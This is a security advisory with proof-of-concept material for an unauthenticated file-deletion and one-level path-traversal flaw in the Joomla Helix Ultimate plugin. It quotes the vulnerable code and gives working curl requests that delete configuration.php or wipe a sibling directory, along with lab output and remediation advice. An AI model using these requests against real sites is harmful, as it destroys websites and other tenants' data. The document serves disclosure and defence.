
Unauthenticated Arbitrary File/Folder Deletion in Joomla Helix Ultimate (JoomShaper) <= 2.2.6 — CVE-2026-57830
This is a confirmed DoS + cross-tenant filesystem access vulnerability, NOT RCE. An RCE-escalation theory
(delete configuration.php to re-expose the Joomla installer) was tested live and disproved — see "RCE
escalation — tested and disproved" below. Do not represent this as RCE in any report without re-deriving a real
chain first.
Severity upgrade (2026-07-06, second pass): the path parameter is NOT safely contained to the Joomla
webroot as first assessed — Joomla's PATH input filter does not block a single /../ traversal component, so
this bug reaches (read: full directory listing; write: delete file or recursively wipe folder contents)
anything on the filesystem the web server user can access, not just files inside the Joomla install. On
any shared-hosting layout where multiple sites/tenants live as sibling directories under the same OS user
(extremely common: cPanel "addon domains", Plesk subscriptions sharing a system user, most budget hosting), a
single Helix-Ultimate-powered site lets an anonymous visitor destroy every other site on the same account.
See "Path traversal escapes JPATH_ROOT entirely" below for the live proof.
Component: JoomShaper Helix Ultimate Framework (plg_system_helixultimate), bundled with virtually every JoomShaper Joomla template (Helix Ultimate based).
2.2.6 (GitHub , HEAD as of 2026-07, last push 2026-06-30)
Amin İsayev / Proxima Cyber Security
JoomShaper/helix-ultimateplugins/system/helixultimate/src/Platform/Media.php exposes deleteMedia(), getFolders() and createFolder()
through the Joomla com_ajax dispatch hook in helixultimate.php::onAfterRoute(). These three methods only call
Session::checkToken() (a plain CSRF check, satisfied by any anonymous visitor's own session token — harvestable
from the site's homepage HTML) — no authorise() / login check at all. This is inconsistent with the sibling
method uploadMedia() in the same class, which correctly requires core.edit on com_templates.
Because this is a system plugin, onAfterRoute() fires on every request regardless of which template is
currently active — the vulnerable code path is reachable as long as the plugin is installed and enabled (which it
is, by default, on any site using a Helix-Ultimate-based JoomShaper template).
plugins/system/helixultimate/helixultimate.php (~line 464-489):
if ($this->app->isClient('site'))
{
$option = $this->app->input->get('option', '', 'STRING');
$helix = $this->app->input->get('helix', '', 'STRING');
$request = $this->app->input->get('request', '', 'STRING');
$action = $this->app->input->get('action', '', 'STRING');
if ($option === 'com_ajax' && $helix === 'ultimate' && $request === 'task' && $action !== '')
{
switch ($action)
{
case 'upload-blog-image': Blog::upload_image(); break; // has core.create/com_media check
case 'remove-blog-image': Blog::remove_image(); break; // has core.delete/com_media check
case 'view-media': Media::getFolders(); break; // NO authorise() check
case 'delete-media': Media::deleteMedia(); break; // NO authorise() check
case 'upload-media': Media::uploadMedia(); break; // has core.edit/com_templates check
}
}
}
plugins/system/helixultimate/src/Platform/Media.php:
public static function deleteMedia()
{
$output['message'] = Text::_('JINVALID_TOKEN');
Session::checkToken() or die(json_encode($output)); // ← only CSRF, no authorise()
$path = $input->post->get('path', '/images', 'PATH');
$type = $input->post->get('type', 'file', 'STRING');
if ($type === 'file') { File::delete(JPATH_ROOT . '/' . $path); }
else { Folder::delete(JPATH_ROOT . '/' . $path); } // recursive
}
$path goes through Joomla's PATH input filter (InputFilter::cleanPath()). Two independent things make this
dangerous:
path is resolved directly under
JPATH_ROOT, so any absolute-from-root path (/configuration.php, /administrator/..., /media/...) is
already reachable.cleanPath()'s regex
(^[A-Za-z0-9_\/-]+[A-Za-z0-9_\.-]*([\\\\\/]+[A-Za-z0-9_-]+[A-Za-z0-9_\.-]*)*$) allows exactly one run of
dot/hyphen/alnum characters positioned right after the leading [A-Za-z0-9_/-]+ chunk — and a leading /
alone satisfies that leading chunk, so a string like /../sibling_dir matches cleanly: / (chunk 1), ..
(the permitted dotty run), /sibling_dir (a normal trailing segment). The filter was written to reject a
segment that starts a new /… component with a dot, but never anticipated one single .. sitting directly
after the string's very first character. Chaining ../../.. does NOT survive (every subsequent /… segment
after the first dotty run must start with a non-dot character) — so the escape is capped at exactly one
directory level above JPATH_ROOT, but everything below that level (arbitrary depth) is then reachable
normally, since further segments are just ordinary non-dot path components.configuration.php →
instant, total site outage ("No configuration" fatal error), one HTTP request, zero authentication.type=folder) → e.g. /administrator, /components,
/media → far more destructive, effectively destroys the install.view-media (Media::getFolders()): lists all image files,
all subfolder names, and absolute server paths under any root-relative path, no auth required (used below as
the safe detection signal).Tested against a disposable Docker instance (Joomla 5.4.6 + Helix Ultimate plugin 2.2.6, fresh install, fully anonymous browser session — no login, no cookie other than the one Joomla hands out to every visitor):
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
--data-urlencode "path=/configuration.php" \
--data-urlencode "type=file" \
--data-urlencode "<csrf-token-from-homepage>=1"
{"status":true, ...}
$ curl http://TARGET/
"No configuration file found and no directory was found for installation."
Created a sibling directory to the Joomla webroot (/var/www/canary_sibling, sibling of /var/www/html),
owned by the same user as the web server (www-data) to mirror a realistic shared-hosting layout, populated
with a file, an image, and a subdirectory:
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=view-media" \
--data-urlencode "path=/../canary_sibling" \
--data-urlencode "<csrf-token>=1"
{"status":true, "path":"/../canary_sibling",
"images":["/var/www/html/../canary_sibling/proof.png"],
"folders":["subdir"], ...}
Full read/enumeration of a directory completely outside the Joomla install, including resolved absolute server paths, with zero authentication.
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
--data-urlencode "path=/../canary_sibling" \
--data-urlencode "type=folder" \
--data-urlencode "<csrf-token>=1"
Result: every file inside canary_sibling (the plain file, the image, and the subdirectory) was deleted. Only
the now-empty top-level canary_sibling folder itself survived, and only because in this lab it sat directly
under /var/www, owned by root — removing the empty directory entry requires write permission on its
parent, which www-data doesn't have on /var/www. On a real shared-hosting layout (e.g.
/home/user/domains/siteA.com/public_html and /home/user/domains/siteB.com/public_html as true siblings,
both owned end-to-end by the same account user), that last barrier does not exist and the sibling site's entire
directory tree is removable.
The obvious next theory was: on a site where installation/ was never removed after setup, deleting
configuration.php would make the installer wizard reachable again, letting an attacker complete it and create
a new Super User. This was tested directly in the lab and does not hold up:
installation/ folder was copied back into the webroot (simulating a site that forgot to remove it) —
configuration.php was still present and valid at this point.302 Found -> /installation/index.php for every single request, including the exploit's
own POST to option=com_ajax&helix=ultimate&...&action=delete-media. The vulnerable code path never executes
in this state — Joomla core short-circuits everything first.installation/ is present: the site is already completely open to takeover for any visitor,
independent of this vulnerability entirely — that's a pre-existing, unrelated Joomla misconfiguration, not
something this bug causes or is needed for.installation/ is absent (the normal, secure state): this vulnerability can only delete files, it
cannot create the installation/ folder back — there is no way to re-expose the installer from a
delete-only primitive.Conclusion: no combination of states turns this into RCE. The confirmed, honest impact ceiling is unauthenticated, unconditional, guaranteed full-site DoS (plus the unauthenticated info-disclosure noted above). That is already a Critical-severity finding on its own merits and does not need an inflated RCE claim.
createFolder() is NOT unauthenticated-reachable (earlier draft was wrong)An earlier version of this write-up claimed Media::createFolder() was also reachable unauthenticated (as a
third primitive alongside delete/read). That was incorrect and has been corrected after a full pass over the
plugin's dispatch wiring:
createFolder(), and the real file-content-write sinks in the codebase (Request.php: fwrite(),
File::write() for template style/webfonts/CSS-cache files), all live in
plugins/system/helixultimate/src/Platform/Request.php, dispatched only via
Platform::handleRequests() <- onAfterRespond().onAfterRespond() explicitly requires $this->app->isClient('administrator'), and onAfterRoute() separately
redirects any non-logged-in visitor away before that point. This path is genuinely admin-authenticated —
confirmed by reading the exact gate condition, not just the absence of an authorise() call inside the method
itself (unlike the site-side deleteMedia()/getFolders(), which truly have zero gate).isClient('site')) switch in onAfterRoute() only wires up five actions:
upload-blog-image, remove-blog-image, view-media (Media::getFolders), delete-media
(Media::deleteMedia), upload-media (Media::uploadMedia, which does check core.edit/com_templates).
create-folder is not among them.Confirmed unauthenticated capability set, final: delete (file or recursive folder) + read (folder/image listing) only. No unauthenticated content-write primitive exists anywhere in this plugin. This is precisely why no RCE chain was found even after specifically hunting for one — RCE fundamentally needs a write primitive, and this bug class doesn't have one.
helix_ultimate_detect.pyNon-destructive. Uses action=view-media (folder/file listing) as the proof signal — never deletes anything.
helix_ultimate_delete_poc.py (name kept for continuity; confirms DoS only)Destructive. Requires explicit --delete <path> to touch anything. The --rce flag deletes
configuration.php and probes /installation/ purely to check whether that folder happens to already be
present (in which case the site was independently wide open regardless of this bug) — it does not represent a
real escalation caused by this vulnerability; see "RCE escalation — tested and disproved" above. Use only with
written authorization.
Two independent fixes are needed, either one alone would already stop this:
uploadMedia() already has to deleteMedia() and getFolders() in
src/Platform/Media.php — at minimum core.edit/core.delete on com_templates (or com_media, matching
Blog::remove_image()'s pattern), before doing any filesystem operation.Amin İsayev / Proxima Cyber Security — 2026. Educational / authorized-testing use only.